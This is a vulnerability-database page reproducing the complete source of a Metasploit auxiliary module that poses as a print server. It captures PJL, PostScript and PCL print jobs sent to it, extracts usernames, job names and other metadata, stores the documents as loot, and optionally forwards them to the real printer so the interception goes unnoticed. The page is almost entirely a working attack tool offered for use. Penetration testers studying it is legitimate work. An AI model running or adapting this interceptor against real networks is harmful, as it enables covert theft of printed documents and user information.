Lucene search
K

Printjob Capture Service

🗓️ 20 Sep 2012 16:04:36Reported by Chris John Riley, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 19 Views

Printjob Capture Service listens for PJL or PostScript print jobs, captures and forwards them. Supports forwarding to another printer and displaying print job metadata

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'Printjob Capture Service',
      'Description' => %q{
        This module is designed to listen for PJL or PostScript print
        jobs. Once a print job is detected it is saved to loot. The
        captured printjob can then be forwarded on to another printer
        (required for LPR printjobs). Resulting PCL/PS files can be
        read with GhostScript/GhostPCL.

        Note, this module does not yet support IPP connections.
      },
      'Author'      =>     ['Chris John Riley', 'todb'],
      'License'     =>     MSF_LICENSE,
      'References'  =>
      [
        # Based on previous prn-2-me tool (Python)
        ['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
        # Readers for resulting PCL/PC
        ['URL', 'http://www.ghostscript.com']
      ],
      'Actions'        => [[ 'Capture', 'Description' => 'Run print job capture server' ]],
      'PassiveActions' => ['Capture'],
      'DefaultAction'  => 'Capture'
    )

    register_options([
      OptPort.new('SRVPORT',  [ true, 'The local port to listen on', 9100 ]),
      OptBool.new('FORWARD',  [ true, 'Forward print jobs to another host', false ]),
      OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
      OptPort.new('RPORT',    [ false, 'Forward to remote port', 9100 ]),
      OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
      OptEnum.new('MODE',     [ true,  'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP

    ])

    deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS')
  end

  def setup
    super
    @state = {}

    begin

      @srvhost = datastore['SRVHOST']
      @srvport = datastore['SRVPORT'] || 9100
      @mode = datastore['MODE'].upcase || 'RAW'
      if datastore['FORWARD']
        @forward = datastore['FORWARD']
        @rport = datastore['RPORT'] || 9100
        if datastore['RHOST'].nil?
          fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST")
        end
        @rhost = datastore['RHOST']
        print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
      end
      if not @mode == 'RAW' and not @forward
        fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target")
      end
      @metadata = datastore['METADATA']
      print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])

      exploit()

    rescue  =>  ex
      print_error(ex.message)
    end
  end

  def on_client_connect(c)
    @state[c] = {
      :name => "#{c.peerhost}:#{c.peerport}",
      :ip => c.peerhost,
      :port => c.peerport,
      :user => nil,
      :pass => nil,
      :data => '',
      :raw_data => '',
      :prn_title => '',
      :prn_type => '',
      :prn_metadata => {},
      :meta_output => []
    }

    print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
  end

  def on_client_data(c)
    curr_data = c.get_once
    @state[c][:data] << curr_data
    if @mode == 'RAW'
      # RAW Mode - no further actions
    elsif @mode == 'LPR' or @mode == 'IPP'
      response = stream_data(curr_data)
      c.put(response)
    end

    if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
      print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
    end

    return if not @state[c][:data]
  end

  def on_client_close(c)
    print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
    sock.close if sock

    # forward RAW data as it's not streamed
    if @forward and @mode == 'RAW'
      forward_data(@state[c][:data])
    end

    #extract print data and Metadata from @state[c][:data]
    begin
      # postscript data
      if @state[c][:data] =~ /%!PS-Adobe/i
        @state[c][:prn_type] = "PS"
        print_good("Printjob intercepted - type PostScript")
        # extract PostScript data including header and EOF marker
        @state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
        # pcl data (capture PCL or PJL start code)
      elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
        @state[c][:prn_type] = "PCL"
        print_good("Printjob intercepted - type PCL")
        #extract everything between PCL start and end markers (various)
        @state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
      end
      # extract Postsript Metadata
      metadata_ps(c) if @state[c][:data] =~ /^%%/i

      # extract PJL Metadata
      metadata_pjl(c) if @state[c][:data] =~ /@PJL/i

      # extract IPP Metadata
      metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i

      if @state[c][:prn_type].empty?
        print_error("Unable to detect printjob type, dumping complete output")
        @state[c][:prn_type] = "Unknown Type"
        @state[c][:raw_data] = @state[c][:data]
      end

      # output discovered Metadata if set
      if @state[c][:meta_output] and @metadata
        @state[c][:meta_output].sort.each do | out |
          # print metadata if not empty
          print_status("#{out}") if not out.empty?
        end
      else
        print_status("No metadata gathered from printjob")
      end

      # set name to unknown if not discovered via Metadata
      @state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty?

      #store loot
      storefile(c) if not @state[c][:raw_data].empty?

      # clear state
      @state.delete(c)

    rescue  =>  ex
      print_error(ex.message)
    end
  end

  def metadata_pjl(c)
    # extract PJL Metadata

    @state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
    print_good("Extracting PJL Metadata")
    @state[c][:prn_metadata].each do | meta |
      if meta[0] =~ /^COMMENT/i
        @state[c][:meta_output] << meta[0].to_s + meta[1].to_s
      end
      if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
        @state[c][:meta_output] << meta[1].to_s
      end
      if meta[1] =~ /^NAME/i
        @state[c][:prn_title] = meta[1].strip
      elsif meta[1] =~/^JOBNAME/i
        @state[c][:prn_title] = meta[1].strip
      end
    end
  end

  def metadata_ps(c)
    # extract Postsript Metadata

    @state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
    print_good("Extracting PostScript Metadata")
    @state[c][:prn_metadata].each do | meta |
      if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
        @state[c][:meta_output] << meta[0].to_s
      end
      if meta[0] =~ /^Title/i
        @state[c][:prn_title] = meta[0].strip
      end
    end
  end

  def metadata_ipp(c)
    # extract IPP Metadata

    @state[c][:prn_metadata] = @state[c][:data]
    print_good("Extracting IPP Metadata")
    case @state[c][:prn_metadata]
    when /User-Agent:/i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
    when /Server:/i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
    when /printer-uri..ipp:\/\/.*\/ipp\//i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
    when /requesting-user-name..\w+/i
      @state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
    end
  end

  def forward_data(data_to_send)
    print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
    connect
    sock.put(data_to_send)
    sock.close
  end

  def stream_data(data_to_send)
    vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
    connect if not sock
    sock.put(data_to_send)
    response = sock.get_once
    return response
  end

  def storefile(c)
    # store the file

    if @state[c][:raw_data]
      jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
      filename = "#{jobname}.#{@state[c][:prn_type]}"
      loot = store_loot(
        "prn_snarf.#{@state[c][:prn_type].downcase}",
        "#{@state[c][:prn_type]} printjob",
        c.peerhost,
        @state[c][:raw_data],
        filename,
        "PrintJob capture"
      )
      print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
      print_good("Loot filename: %s" % loot)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2020 19:51Current
6.9Medium risk
Vulners AI Score6.9
19